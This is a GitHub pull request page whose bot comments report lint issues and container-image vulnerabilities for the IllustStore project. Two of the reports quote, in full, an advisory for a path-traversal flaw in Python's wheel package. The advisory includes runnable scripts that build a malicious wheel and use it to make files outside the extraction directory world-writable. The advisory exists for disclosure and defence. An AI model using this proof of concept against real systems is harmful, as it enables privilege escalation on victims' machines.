Skip to content

Add typing - #181

Merged
mkaraki merged 2 commits into
masterfrom
add-typing
Feb 6, 2026
Merged

mkaraki merged 2 commits into
masterfrom
add-typing

Conversation

@mkaraki

@mkaraki mkaraki commented Feb 6, 2026

Copy link
Copy Markdown
Owner

No description provided.

@mkaraki mkaraki self-assigned this Feb 6, 2026
@github-actions

github-actions Bot commented Feb 6, 2026 •

Copy link
Copy Markdown

Qodana for Python

10 new problems were found

Inspection name Severity Problems
PEP 8 naming convention violation ◽️ Notice 9
Unused local symbols ◽️ Notice 1

💡 Qodana analysis was run in the pull request mode: only the changed files were checked
☁️ View the detailed Qodana report

Contact Qodana team

Contact us at qodana-support@jetbrains.com

Comment thread imageEvaller/src/imageevaller/processImageGlob.py
Comment thread imageEvaller/src/imageevaller/processImageGlob.py
Comment thread imageEvaller/src/imageevaller/processImageGlob.py
@github-actions

github-actions Bot commented Feb 6, 2026 •

Copy link
Copy Markdown

Overview

Image reference ghcr.io/mkaraki/illuststore-evaller:master ghcr.io/mkaraki/illuststore-evaller:pr-181
- digest 8032ab195612 73dd4e6ae177
- tag master pr-181
- provenance 37feb1e 830c718
- vulnerabilities critical: 0 high: 2 medium: 2 low: 11 critical: 0 high: 2 medium: 2 low: 11
- platform linux/amd64 linux/amd64
- size 923 MB 1.1 GB (+132 MB)
- packages 104 118 (+14)
Labels (5 changes)
  • ± 5 changed
  • 18 unchanged
-com.docker.dhi.chain-id=sha256:a6e394128b90112e831100a96dc6da3c02bcc2221cf078606ce65fbd1aea07dd
+com.docker.dhi.chain-id=sha256:7fe2c93e3e869d932f4465ab05f579b0bbc5ad483b3de8828af723636d11e5bb
 com.docker.dhi.compliance=cis
-com.docker.dhi.created=2026-01-31T20:48:23Z
+com.docker.dhi.created=2026-02-05T23:31:57Z
 com.docker.dhi.date.end-of-life=2028-10-31
 com.docker.dhi.date.release=2023-10-02
 com.docker.dhi.definition=image/python/debian-13/3.12
 com.docker.dhi.distro=debian-13
 com.docker.dhi.flavor=
 com.docker.dhi.name=dhi/python
 com.docker.dhi.package-manager=
 com.docker.dhi.shell=
 com.docker.dhi.title=Python 3.12.x
 com.docker.dhi.url=https://dhi.io/catalog/python
 com.docker.dhi.variant=runtime
 com.docker.dhi.version=3.12.12-debian13
-org.opencontainers.image.created=2026-02-01T08:57:14.040Z
+org.opencontainers.image.created=2026-02-06T16:03:49.611Z
 org.opencontainers.image.description=AI powered illustration vault web app
 org.opencontainers.image.licenses=GPL-3.0
-org.opencontainers.image.revision=37feb1eade9e29419b842b8b7d28d44bcceceedf
+org.opencontainers.image.revision=830c7183ce7d9cb6949cd6e0c2285f09f528eadf
 org.opencontainers.image.source=https://github.com/mkaraki/IllustStore
 org.opencontainers.image.title=IllustStore
 org.opencontainers.image.url=https://github.com/mkaraki/IllustStore
-org.opencontainers.image.version=master
+org.opencontainers.image.version=pr-181
Policies (0 improved, 0 worsened, 3 missing data)
Policy Name ghcr.io/mkaraki/illuststore-evaller:master ghcr.io/mkaraki/illuststore-evaller:pr-181 Change Standing
Default non-root user ❓ No data ✅
No AGPL v3 licenses ❓ No data ✅
No fixable critical or high vulnerabilities ❓ No data ⚠️ 2
No high-profile vulnerabilities ❓ No data ✅
No outdated base images ❓ No data ❓ No data
No unapproved base images ❓ No data ❓ No data
SonarQube quality gates passed ❓ No data ❓ No data
Supply chain attestations ❓ No data ⚠️ 2
Packages and Vulnerabilities (15 package changes and 0 vulnerability changes)
  • ➕ 14 packages added
  • ♾️ 1 packages changed
  • 100 packages unchanged
Changes for packages of type deb (14 changes)
Package Version
ghcr.io/mkaraki/illuststore-evaller:master
Version
ghcr.io/mkaraki/illuststore-evaller:pr-181
➕ bzip2 1.0.8-6
➕ db5.3 5.3.28+dfsg2-9
➕ gcc-14 14.2.0-19
➕ glibc 2.41-12+deb13u1
➕ gmp 2:6.3.0+dfsg-3
➕ libffi 3.4.8-2
➕ libxcrypt 1:4.4.38-1
➕ libzstd 1.5.7+dfsg-1
➕ ncurses 6.5+20250216-2
➕ readline 8.2-6
➕ sqlite3 3.46.1-7
➕ util-linux 2.41-5
➕ xz-utils 5.8.1-1
➕ zlib 1:1.3.dfsg+really1.3.1-1
Changes for packages of type pypi (1 changes)
Package Version
ghcr.io/mkaraki/illuststore-evaller:master
Version
ghcr.io/mkaraki/illuststore-evaller:pr-181
♾️ pip 26.0 26.0.1

@github-actions

github-actions Bot commented Feb 6, 2026 •

Copy link
Copy Markdown

🔍 Vulnerabilities of ghcr.io/mkaraki/illuststore-evaller:pr-181

📦 Image Reference ghcr.io/mkaraki/illuststore-evaller:pr-181
digestsha256:73dd4e6ae177073eb4c56d5e8aae90237fb28e136ff5ac85204781a1e77d0c4b
vulnerabilitiescritical: 0 high: 2 medium: 0 low: 0
platformlinux/amd64
size1.1 GB
packages118
critical: 0 high: 1 medium: 0 low: 0 keras 3.13.0 (pypi)

pkg:pypi/keras@3.13.0

high 7.1: CVE--2026--0897 Allocation of Resources Without Limits or Throttling

Affected range>=3.0.0
<=3.13.0
Fixed version3.13.1
CVSS Score7.1
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.086%
EPSS Percentile25th percentile
Description

Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.

critical: 0 high: 1 medium: 0 low: 0 wheel 0.45.1 (pypi)

pkg:pypi/wheel@0.45.1

high 7.1: CVE--2026--24049 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=0.40.0
<=0.46.1
Fixed version0.46.2
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
EPSS Score0.024%
EPSS Percentile6th percentile
Description

Summary

  • Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
  • Root Cause Component: wheel.cli.unpack.unpack function.
  • Affected Packages:
    1. wheel (Upstream source)
    2. setuptools (Downstream, vendors wheel)
  • Severity: High (Allows modifying system file permissions).

Details

The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile

    # (2) VULNERABILITY:
    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
    # If zinfo.filename contains "../", this targets files outside the destination.
    permissions = zinfo.external_attr >> 16 & 0o777
    destination.joinpath(zinfo.filename).chmod(permissions)

PoC

I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

import zipfile
import hashlib
import base64
import os

def urlsafe_b64encode(data):
    """
    Helper function to encode data using URL-safe Base64 without padding.
    Required by the Wheel file format specification.
    """
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

def get_hash_and_size(data_bytes):
    """
    Calculates SHA-256 hash and size of the data.
    These values are required to construct a valid 'RECORD' file,
    which is used by the 'wheel' library to verify integrity.
    """
    digest = hashlib.sha256(data_bytes).digest()
    hash_str = "sha256=" + urlsafe_b64encode(digest)
    return hash_str, str(len(data_bytes))

def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
    print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

    # 1. Prepare Standard Metadata Content
    # These are minimal required contents to make the wheel look legitimate.
    wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
   
    # 2. Define Malicious Payload (Path Traversal)
    # The content doesn't matter, but the path does.
    payload_content = b"PWNED by Path Traversal"

    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
    # The vulnerability allows 'chmod' to affect this path directly.
    malicious_path = "../../poc_target.txt"

    # 3. Calculate Hashes for Integrity Check Bypass
    # The 'wheel' library verifies if the file hash matches the RECORD entry.
    # To bypass this check, we calculate the correct hash for our malicious file.
    wheel_hash, wheel_size = get_hash_and_size(wheel_content)
    metadata_hash, metadata_size = get_hash_and_size(metadata_content)
    payload_hash, payload_size = get_hash_and_size(payload_content)

    # 4. Construct the 'RECORD' File
    # The RECORD file lists all files in the wheel with their hashes.
    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
    record_lines = [
        f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
        f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
        f"{malicious_path},{payload_hash},{payload_size}",  # <-- Authenticating the malicious path
        "evil-1.0.dist-info/RECORD,,"
    ]
    record_content = "\n".join(record_lines).encode('utf-8')

    # 5. Build the Zip File
    with zipfile.ZipFile(filename, "w") as zf:
        # Write standard metadata files
        zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
        zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
        zf.writestr("evil-1.0.dist-info/RECORD", record_content)

        # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
        # We need to set specific permission bits to trigger the vulnerability.
        zinfo = zipfile.ZipInfo(malicious_path)
       
        # Set external attributes to 0o777 (rwxrwxrwx)
        # Upper 16 bits: File type (0o100000 = Regular File)
        # Lower 16 bits: Permissions (0o777 = World Writable)
        # The vulnerable 'unpack' function will blindly apply this '777' to the system file.
        zinfo.external_attr = (0o100000 | 0o777) << 16
       
        zf.writestr(zinfo, payload_content)

    print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")

if __name__ == "__main__":
    create_evil_wheel_v4()

Step 2: Run the Exploit (exploit.py)

from pathlib import Path
import sys

# Demonstrating impact on setuptools
try:
    from setuptools._vendor.wheel.cli.unpack import unpack
    print("[*] Loaded unpack from setuptools")
except ImportError:
    from wheel.cli.unpack import unpack
    print("[*] Loaded unpack from wheel")

# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")

# 2. Run Vulnerable Unpack
# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
    unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
    print(f"[!] Ignored expected extraction error: {e}")

# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")

if final_perms == "777":
    print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
    print("[-] Attack failed.")

result:
image

Impact

Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.

Recommended Fix

The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().

Suggested Patch:

# extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)

# Only apply chmod if a file was actually written
if extracted_path:
    permissions = zinfo.external_attr >> 16 & 0o777
    Path(extracted_path).chmod(permissions)

@github-actions

github-actions Bot commented Feb 6, 2026 •

Copy link
Copy Markdown

🔍 Vulnerabilities of ghcr.io/mkaraki/illuststore-evaller:pr-181

📦 Image Reference ghcr.io/mkaraki/illuststore-evaller:pr-181
digestsha256:73dd4e6ae177073eb4c56d5e8aae90237fb28e136ff5ac85204781a1e77d0c4b
vulnerabilitiescritical: 0 high: 2 medium: 2 low: 11
platformlinux/amd64
size1.1 GB
packages118
critical: 0 high: 1 medium: 0 low: 0 keras 3.13.0 (pypi)

pkg:pypi/keras@3.13.0

high 7.1: CVE--2026--0897 Allocation of Resources Without Limits or Throttling

Affected range>=3.0.0
<=3.13.0
Fixed version3.13.1
CVSS Score7.1
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.086%
EPSS Percentile25th percentile
Description

Allocation of Resources Without Limits or Throttling in the HDF5 weight loading component in Google Keras 3.0.0 through 3.13.0 on all platforms allows a remote attacker to cause a Denial of Service (DoS) through memory exhaustion and a crash of the Python interpreter via a crafted .keras archive containing a valid model.weights.h5 file whose dataset declares an extremely large shape.

critical: 0 high: 1 medium: 0 low: 0 wheel 0.45.1 (pypi)

pkg:pypi/wheel@0.45.1

high 7.1: CVE--2026--24049 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=0.40.0
<=0.46.1
Fixed version0.46.2
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
EPSS Score0.024%
EPSS Percentile6th percentile
Description

Summary

  • Vulnerability Type: Path Traversal (CWE-22) leading to Arbitrary File Permission Modification.
  • Root Cause Component: wheel.cli.unpack.unpack function.
  • Affected Packages:
    1. wheel (Upstream source)
    2. setuptools (Downstream, vendors wheel)
  • Severity: High (Allows modifying system file permissions).

Details

The vulnerability exists in how the unpack function handles file permissions after extraction. The code blindly trusts the filename from the archive header for the chmod operation, even though the extraction process itself might have sanitized the path.

# Vulnerable Code Snippet (present in both wheel and setuptools/_vendor/wheel)
for zinfo in wf.filelist:
    wf.extract(zinfo, destination)  # (1) Extraction is handled safely by zipfile

    # (2) VULNERABILITY:
    # The 'permissions' are applied to a path constructed using the UNSANITIZED 'zinfo.filename'.
    # If zinfo.filename contains "../", this targets files outside the destination.
    permissions = zinfo.external_attr >> 16 & 0o777
    destination.joinpath(zinfo.filename).chmod(permissions)

PoC

I have confirmed this exploit works against the unpack function imported from setuptools._vendor.wheel.cli.unpack.

Prerequisites: pip install setuptools

Step 1: Generate the Malicious Wheel (gen_poc.py)
This script creates a wheel that passes internal hash validation but contains a directory traversal payload in the file list.

import zipfile
import hashlib
import base64
import os

def urlsafe_b64encode(data):
    """
    Helper function to encode data using URL-safe Base64 without padding.
    Required by the Wheel file format specification.
    """
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('ascii')

def get_hash_and_size(data_bytes):
    """
    Calculates SHA-256 hash and size of the data.
    These values are required to construct a valid 'RECORD' file,
    which is used by the 'wheel' library to verify integrity.
    """
    digest = hashlib.sha256(data_bytes).digest()
    hash_str = "sha256=" + urlsafe_b64encode(digest)
    return hash_str, str(len(data_bytes))

def create_evil_wheel_v4(filename="evil-1.0-py3-none-any.whl"):
    print(f"[Generator V4] Creating 'Authenticated' Malicious Wheel: {filename}")

    # 1. Prepare Standard Metadata Content
    # These are minimal required contents to make the wheel look legitimate.
    wheel_content = b"Wheel-Version: 1.0\nGenerator: bdist_wheel (0.37.1)\nRoot-Is-Purelib: true\nTag: py3-none-any\n"
    metadata_content = b"Metadata-Version: 2.1\nName: evil\nVersion: 1.0\nSummary: PoC Package\n"
   
    # 2. Define Malicious Payload (Path Traversal)
    # The content doesn't matter, but the path does.
    payload_content = b"PWNED by Path Traversal"

    # [ATTACK VECTOR]: Target a file OUTSIDE the extraction directory using '../'
    # The vulnerability allows 'chmod' to affect this path directly.
    malicious_path = "../../poc_target.txt"

    # 3. Calculate Hashes for Integrity Check Bypass
    # The 'wheel' library verifies if the file hash matches the RECORD entry.
    # To bypass this check, we calculate the correct hash for our malicious file.
    wheel_hash, wheel_size = get_hash_and_size(wheel_content)
    metadata_hash, metadata_size = get_hash_and_size(metadata_content)
    payload_hash, payload_size = get_hash_and_size(payload_content)

    # 4. Construct the 'RECORD' File
    # The RECORD file lists all files in the wheel with their hashes.
    # CRITICAL: We explicitly register the malicious path ('../../poc_target.txt') here.
    # This tricks the 'wheel' library into treating the malicious file as a valid, verified component.
    record_lines = [
        f"evil-1.0.dist-info/WHEEL,{wheel_hash},{wheel_size}",
        f"evil-1.0.dist-info/METADATA,{metadata_hash},{metadata_size}",
        f"{malicious_path},{payload_hash},{payload_size}",  # <-- Authenticating the malicious path
        "evil-1.0.dist-info/RECORD,,"
    ]
    record_content = "\n".join(record_lines).encode('utf-8')

    # 5. Build the Zip File
    with zipfile.ZipFile(filename, "w") as zf:
        # Write standard metadata files
        zf.writestr("evil-1.0.dist-info/WHEEL", wheel_content)
        zf.writestr("evil-1.0.dist-info/METADATA", metadata_content)
        zf.writestr("evil-1.0.dist-info/RECORD", record_content)

        # [EXPLOIT CORE]: Manually craft ZipInfo for the malicious file
        # We need to set specific permission bits to trigger the vulnerability.
        zinfo = zipfile.ZipInfo(malicious_path)
       
        # Set external attributes to 0o777 (rwxrwxrwx)
        # Upper 16 bits: File type (0o100000 = Regular File)
        # Lower 16 bits: Permissions (0o777 = World Writable)
        # The vulnerable 'unpack' function will blindly apply this '777' to the system file.
        zinfo.external_attr = (0o100000 | 0o777) << 16
       
        zf.writestr(zinfo, payload_content)

    print("[Generator V4] Done. Malicious file added to RECORD and validation checks should pass.")

if __name__ == "__main__":
    create_evil_wheel_v4()

Step 2: Run the Exploit (exploit.py)

from pathlib import Path
import sys

# Demonstrating impact on setuptools
try:
    from setuptools._vendor.wheel.cli.unpack import unpack
    print("[*] Loaded unpack from setuptools")
except ImportError:
    from wheel.cli.unpack import unpack
    print("[*] Loaded unpack from wheel")

# 1. Setup Target (Read-Only system file simulation)
target = Path("poc_target.txt")
target.write_text("SENSITIVE CONFIG")
target.chmod(0o400) # Read-only
print(f"[*] Initial Perms: {oct(target.stat().st_mode)[-3:]}")

# 2. Run Vulnerable Unpack
# The wheel contains "../../poc_target.txt".
# unpack() will extract safely, BUT chmod() will hit the actual target file.
try:
    unpack("evil-1.0-py3-none-any.whl", "unpack_dest")
except Exception as e:
    print(f"[!] Ignored expected extraction error: {e}")

# 3. Check Result
final_perms = oct(target.stat().st_mode)[-3:]
print(f"[*] Final Perms: {final_perms}")

if final_perms == "777":
    print("VULNERABILITY CONFIRMED: Target file is now world-writable (777)!")
else:
    print("[-] Attack failed.")

result:
image

Impact

Attackers can craft a malicious wheel file that, when unpacked, changes the permissions of critical system files (e.g., /etc/passwd, SSH keys, config files) to 777. This allows for Privilege Escalation or arbitrary code execution by modifying now-writable scripts.

Recommended Fix

The unpack function must not use zinfo.filename for post-extraction operations. It should use the sanitized path returned by wf.extract().

Suggested Patch:

# extract() returns the actual path where the file was written
extracted_path = wf.extract(zinfo, destination)

# Only apply chmod if a file was actually written
if extracted_path:
    permissions = zinfo.external_attr >> 16 & 0o777
    Path(extracted_path).chmod(permissions)
critical: 0 high: 0 medium: 2 low: 1 python 3.12.12 (dhi)

pkg:dhi/python@3.12.12

medium : CVE--2025--13836

Affected range<3.13.11
Fixed version3.14.1
EPSS Score0.103%
EPSS Percentile29th percentile
Description

When reading an HTTP response from a server, if no read amount is specified, the default behavior will be to use Content-Length. This allows a malicious server to cause the client to read large amounts of data into memory, potentially causing OOM or other DoS.

medium : CVE--2025--12084

Affected range<3.13.11
Fixed version3.13.11
EPSS Score0.090%
EPSS Percentile26th percentile
Description

When building nested elements using xml.dom.minidom methods such as appendChild() that have a dependency on _clear_id_cache() the algorithm is quadratic. Availability can be impacted when building excessively nested documents.

low : CVE--2025--13837

Affected range<3.13.10
Fixed version3.13.10
EPSS Score0.019%
EPSS Percentile4th percentile
Description

When loading a plist file, the plistlib module reads data in size specified by the file itself, meaning a malicious file can cause OOM and DoS issues

critical: 0 high: 0 medium: 0 low: 7 glibc 2.41-12+deb13u1 (deb)

pkg:deb/debian/glibc@2.41-12%2Bdeb13u1?os_distro=trixie&os_name=debian&os_version=13

low : CVE--2019--9192

Affected range<=2.41-12+deb13u1
Fixed versionNot Fixed
EPSS Score0.841%
EPSS Percentile74th percentile
Description

In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(|)(\1\1)*' in grep, a different issue than CVE-2018-20796. NOTE: the software maintainer disputes that this is a vulnerability because the behavior occurs only with a crafted pattern


low : CVE--2019--1010025

Affected range<=2.41-12+deb13u1
Fixed versionNot Fixed
EPSS Score1.239%
EPSS Percentile79th percentile
Description

GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may guess the heap addresses of pthread_created thread. The component is: glibc. NOTE: the vendor's position is "ASLR bypass itself is not a vulnerability.


low : CVE--2019--1010024

Affected range<=2.41-12+deb13u1
Fixed versionNot Fixed
EPSS Score0.646%
EPSS Percentile70th percentile
Description

GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass ASLR using cache of thread stack and heap. The component is: glibc. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat.


low : CVE--2019--1010023

Affected range<=2.41-12+deb13u1
Fixed versionNot Fixed
EPSS Score0.313%
EPSS Percentile54th percentile
Description

GNU Libc current is affected by: Re-mapping current loaded library with malicious ELF file. The impact is: In worst case attacker may evaluate privileges. The component is: libld. The attack vector is: Attacker sends 2 ELF files to victim and asks to run ldd on it. ldd execute code. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat.


low : CVE--2019--1010022

Affected range<=2.41-12+deb13u1
Fixed versionNot Fixed
EPSS Score0.131%
EPSS Percentile33rd percentile
Description

GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass stack guard protection. The component is: nptl. The attack vector is: Exploit stack buffer overflow vulnerability and use this bypass vulnerability to bypass stack guard. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat.


low : CVE--2018--20796

Affected range<=2.41-12+deb13u1
Fixed versionNot Fixed
EPSS Score1.492%
EPSS Percentile81st percentile
Description

In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(\227|)(\1\1|t1|\\2537)+' in grep.


low : CVE--2010--4756

Affected range<=2.41-12+deb13u1
Fixed versionNot Fixed
EPSS Score0.394%
EPSS Percentile60th percentile
Description

The glob implementation in the GNU C Library (aka glibc or libc6) allows remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in STAT commands to an FTP daemon, a different vulnerability than CVE-2010-2632.


  • glibc (unimportant)
  • eglibc (unimportant)
    That's standard POSIX behaviour implemented by (e)glibc. Applications using
    glob need to impose limits for themselves
critical: 0 high: 0 medium: 0 low: 1 util-linux 2.41-5 (deb)

pkg:deb/debian/util-linux@2.41-5?os_distro=trixie&os_name=debian&os_version=13

low : CVE--2022--0563

Affected range<=2.41-5
Fixed versionNot Fixed
EPSS Score0.020%
EPSS Percentile4th percentile
Description

A flaw was found in the util-linux chfn and chsh utilities when compiled with Readline support. The Readline library uses an "INPUTRC" environment variable to get a path to the library config file. When the library cannot parse the specified file, it prints an error message containing data from the file. This flaw allows an unprivileged user to read root-owned files, potentially leading to privilege escalation. This flaw affects util-linux versions prior to 2.37.4.


critical: 0 high: 0 medium: 0 low: 1 sqlite3 3.46.1-7 (deb)

pkg:deb/debian/sqlite3@3.46.1-7?os_distro=trixie&os_name=debian&os_version=13

low : CVE--2021--45346

Affected range<=3.46.1-7
Fixed versionNot Fixed
EPSS Score0.378%
EPSS Percentile59th percentile
Description

A Memory Leak vulnerability exists in SQLite Project SQLite3 3.35.1 and 3.37.0 via maliciously crafted SQL Queries (made via editing the Database File), it is possible to query a record, and leak subsequent bytes of memory that extend beyond the record, which could let a malicious user obtain sensitive information. NOTE: The developer disputes this as a vulnerability stating that If you give SQLite a corrupted database file and submit a query against the database, it might read parts of the database that you did not intend or expect.


critical: 0 high: 0 medium: 0 low: 1 openssl 3.5.4-1~deb13u2 (deb)

pkg:deb/debian/openssl@3.5.4-1~deb13u2?os_distro=trixie&os_name=debian&os_version=13

low : CVE--2010--0928

Affected range>=3.2.1-3
Fixed versionNot Fixed
EPSS Score0.094%
EPSS Percentile27th percentile
Description

OpenSSL 0.9.8i on the Gaisler Research LEON3 SoC on the Xilinx Virtex-II Pro FPGA uses a Fixed Width Exponentiation (FWE) algorithm for certain signature calculations, and does not verify the signature before providing it to a caller, which makes it easier for physically proximate attackers to determine the private key via a modified supply voltage for the microprocessor, related to a "fault-based attack."


http://www.eecs.umich.edu/~valeria/research/publications/DATE10RSA.pdf
openssl/openssl#24540
Fault injection based attacks are not within OpenSSLs threat model according
to the security policy: https://www.openssl.org/policies/general/security-policy.html

@sonarqubecloud

sonarqubecloud Bot commented Feb 6, 2026

Copy link
Copy Markdown

@github-actions

github-actions Bot commented Feb 6, 2026

Copy link
Copy Markdown

Overview

Image reference ghcr.io/mkaraki/illuststore-viewer:master ghcr.io/mkaraki/illuststore-viewer:pr-181
- digest e2dc097ffb88 c336c8a4a835
- tag master pr-181
- provenance 9ab34be 830c718
- vulnerabilities critical: 1 high: 16 medium: 30 low: 1 unspecified: 1 critical: 1 high: 15 medium: 30 low: 1 unspecified: 1
- platform linux/amd64 linux/amd64
- size 183 MB 203 MB (+20 MB)
- packages 559 572 (+13)
Base Image php:8.4-zts-alpine
also known as:
• 8.4-zts-alpine3.23
php:8.4-zts-alpine
also known as:
• 8.4-zts-alpine3.23
- vulnerabilities critical: 1 high: 5 medium: 17 low: 1 critical: 1 high: 5 medium: 17 low: 1
Labels (3 changes)
  • ± 3 changed
  • 6 unchanged
-org.opencontainers.image.created=2026-02-01T08:55:47.986Z
+org.opencontainers.image.created=2026-02-06T16:03:49.260Z
 org.opencontainers.image.description=AI powered illustration vault web app
 org.opencontainers.image.licenses=GPL-3.0
-org.opencontainers.image.revision=9ab34beeb78330c7b09b865c1f06760f1098a813
+org.opencontainers.image.revision=830c7183ce7d9cb6949cd6e0c2285f09f528eadf
 org.opencontainers.image.source=https://github.com/mkaraki/IllustStore
 org.opencontainers.image.title=IllustStore
 org.opencontainers.image.url=https://github.com/mkaraki/IllustStore
 org.opencontainers.image.vendor=Kévin Dunglas
-org.opencontainers.image.version=master
+org.opencontainers.image.version=pr-181
Policies (0 improved, 0 worsened, 3 missing data)
Policy Name ghcr.io/mkaraki/illuststore-viewer:master ghcr.io/mkaraki/illuststore-viewer:pr-181 Change Standing
Default non-root user ❓ No data ✅
No AGPL v3 licenses ❓ No data ✅
No fixable critical or high vulnerabilities ❓ No data ⚠️ 14
No high-profile vulnerabilities ❓ No data ✅
No outdated base images ❓ No data ❓ No data
No unapproved base images ❓ No data ❓ No data
SonarQube quality gates passed ❓ No data ❓ No data
Supply chain attestations ❓ No data ⚠️ 2
Packages and Vulnerabilities (32 package changes and 1 vulnerability changes)
  • ➕ 13 packages added
  • ♾️ 19 packages changed
  • 516 packages unchanged
  • ✔️ 1 vulnerabilities removed
Changes for packages of type apk (13 changes)
Package Version
ghcr.io/mkaraki/illuststore-viewer:master
Version
ghcr.io/mkaraki/illuststore-viewer:pr-181
➕ acl 2.3.2-r1
➕ alpine-base 3.23.2-r0
➕ argon2 20190702-r5
➕ brotli 1.2.0-r0
➕ cyrus-sasl 2.1.28-r9
➕ gcc 15.2.0-r2
➕ gnu-libiconv 1.18-r0
➕ libmemcached 1.1.4-r1
➕ ncurses 6.5_p20251123-r0
➕ nghttp2 1.68.0-r0
➕ pax-utils 1.3.8-r2
➕ sqlite 3.51.1-r0
➕ zstd 1.5.7-r2
Changes for packages of type composer (18 changes)
Package Version
ghcr.io/mkaraki/illuststore-viewer:master
Version
ghcr.io/mkaraki/illuststore-viewer:pr-181
♾️ brianium/paratest 7.16.0 7.17.0
♾️ brick/math 0.14.2 0.14.6
♾️ inertiajs/inertia-laravel 2.0.18 2.0.19
♾️ laravel/framework 12.49.0 12.50.0
♾️ laravel/pail 1.2.4 1.2.5
♾️ laravel/pint 1.26.0 1.27.0
♾️ laravel/prompts 0.3.11 0.3.12
♾️ laravel/sail 1.51.0 1.52.0
♾️ laravel/serializable-closure 2.0.8 2.0.9
♾️ laravel/wayfinder 0.1.12 0.1.13
♾️ nette/utils 4.1.1 4.1.2
♾️ pestphp/pest 4.3.0 4.3.2
♾️ phpstan/phpdoc-parser 2.3.0 2.3.2
♾️ phpunit/php-code-coverage 12.5.2 12.5.3
♾️ phpunit/php-file-iterator 6.0.0 6.0.1
♾️ phpunit/phpunit 12.5.4 12.5.8
critical: 0 high: 1 medium: 0 low: 0
Removed vulnerabilities (1):
  • high : CVE--2026--24765
♾️ sebastian/comparator 7.1.3 7.1.4
♾️ ta-tikoma/phpunit-architecture-test 0.8.5 0.8.6
Changes for packages of type golang (1 changes)
Package Version
ghcr.io/mkaraki/illuststore-viewer:master
Version
ghcr.io/mkaraki/illuststore-viewer:pr-181
♾️ github.com/evanw/esbuild 0.0.0-20251015021112-6b7c4f2dcbca UNKNOWN

@github-actions

github-actions Bot commented Feb 6, 2026

Copy link
Copy Markdown

🔍 Vulnerabilities of ghcr.io/mkaraki/illuststore-viewer:pr-181

📦 Image Reference ghcr.io/mkaraki/illuststore-viewer:pr-181
digestsha256:c336c8a4a8354ea3515db20b865cef83ca70b400a5683c23e54e07c9180a7dc1
vulnerabilitiescritical: 1 high: 15 medium: 0 low: 0
platformlinux/amd64
size203 MB
packages572
📦 Base Image php:8.4-zts-alpine
also known as
  • 8.4-zts-alpine3.23
  • 8.4.16-zts-alpine
  • 8.4.16-zts-alpine3.23
digestsha256:aba28ac8707ed6e098480da935de6846f621250566a8bed216a419b57c8ad103
